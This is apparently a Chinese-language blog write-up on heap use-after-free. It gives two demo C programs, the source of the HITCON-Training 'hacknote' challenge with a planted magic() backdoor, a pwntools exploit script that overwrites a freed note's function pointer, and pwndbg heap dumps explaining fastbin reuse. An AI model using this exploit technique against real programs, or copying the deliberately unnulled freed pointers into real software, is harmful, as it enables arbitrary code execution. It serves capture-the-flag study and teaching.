Uaf

uaf

demo_0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
// 定义指向接收char*参数返回void的函数指针
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
	system(command);
}
void echo(char content[])
{
	printf("%s",content);
}
int main()
{
	// p1是指向func_ptr的指针数组
    func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
    printf("p1 malloc addr: %p\n",p1);
    p1[3]=echo;
    p1[3]("hello world\n");   // echo("hello world\n");
    free(p1);
    p1[3]("hello again\n");  // echo("hello again\n");
	printf("after free...\n");
	
    func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));  // 申请到的还是p1
    printf("p1 malloc addr: %p\n",p1);
    printf("p2 malloc addr: %p\n",p2);
    p2[3]=evil_fuc;
    p1[3]("whoami");  // evil_fuc("whoami");
    return 0;
}

对于fastbin,堆管理器不会进行合并,两次申请的指针相同

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/mnt/…/pwn/heap/use_after_free/hitcon-training-hacknote]
└─# ./demo
p1 malloc addr: 0x5555555592a0
hello world
hello again
after free...
p1 malloc addr: 0x5555555592a0
p2 malloc addr: 0x5555555592a0
root

demo_1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	char* a = malloc(0x512);
	char* b = malloc(0x256);

	strcpy(a,"this is A");
	printf("chunk A addr:%p context:%s\n",a,a);
	free(a);
	printf("chunk A addr:%p context:%s\n",a,a);  // 输出乱码,内容变为fd bk

	char* c = malloc(0x500);  // 申请的空间小于0x512保证c分配到a
	strcpy(c,"this is C");
	printf("chunk C addr:%p context:%s\n",c,c);
	printf("chunk A addr:%p context:%s\n",a,a);
}
1
2
3
4
5
6
┌──(root㉿kali)-[/mnt/hgfs/pwn/heap/demo]
└─# ./uaf
chunk A addr:0x5555555592a0 context:this is A
chunk A addr:0x5555555592a0 context: ����
chunk C addr:0x5555555592a0 context:this is C
chunk A addr:0x5555555592a0 context:this is C

hacknote

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;   // 添加节点给函数指针赋值,劫持为函数magic
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);   // 删除节点没有将指针置空存在uaf漏洞
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

r = process('./hacknote')
context.log_level = 'error'

def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa")  # note0
addnote(32, "ddaa")  # note1

delnote(0)
delnote(1)

addnote(8, p32(magic))  # 申请较小字节,保证复用的是note结构体而不是note->context

printnote(0)  # 调用magic

r.interactive()

详解

1
2
addnote(32, "aaaa")  # note0
addnote(32, "ddaa")  # note1

每创建一个note就会malloc两次,第一个chunk是结构体,第二个chunk用于存放context(大小可控),创建两个note会有如下chunk

1
2
3
4
5
6
7
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x908a008           0x0                 0x190                Used                None              None  
0x908a198           0x0                 0x10                 Used                None              None
0x908a1a8           0x0                 0x30                 Used                None              None
0x908a1d8           0x0                 0x10                 Used                None              None
0x908a1e8           0x0                 0x30                 Used                None              None
  • 0x908a008是初始化的chunk,并不是手动malloc产生的的chunk
  • 0x908a198 –> note0
  • 0x908a1a8 –> note0 -> context
  • 0x908a1d8 –> note1
  • 0x908a1e8 –> note1 -> context
1
2
3
4
delnote(0)
delnote(1)

addnote(8, p32(magic))  # 申请的字节小于32确保复用note1

两个note被free后又创建note2,根据fastbins的分配机制会把0x939f1d8分配给note2,把0x939f198分配给note2->context

1
2
3
4
5
6
7
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x939f008           0x0                 0x190                Used                None              None
0x939f198           0x0                 0x10                 Used                None              None
0x939f1a8           0x0                 0x30                 Freed             0x939f              None
0x939f1d8           0x0                 0x10                 Used                None              None
0x939f1e8           0x0                 0x30                 Freed          0x939622f              None

重点的来了!!!

前面提到context可控,此时note2->context正好分配到note0上,因为note0在free后没有设置为NULL导致note0的指针仍然可用

调用note0的print_note_content就相当于把note2->context的内容当作函数地址,只需要把该地址改为magic,即可成功利用后门

之前在addnote(8, p32(magic))这里卡了好久,结合源码和 fastbins 才理清漏洞利用思路,实在不容易……

使用 Hugo 构建
主题 StackJimmy 设计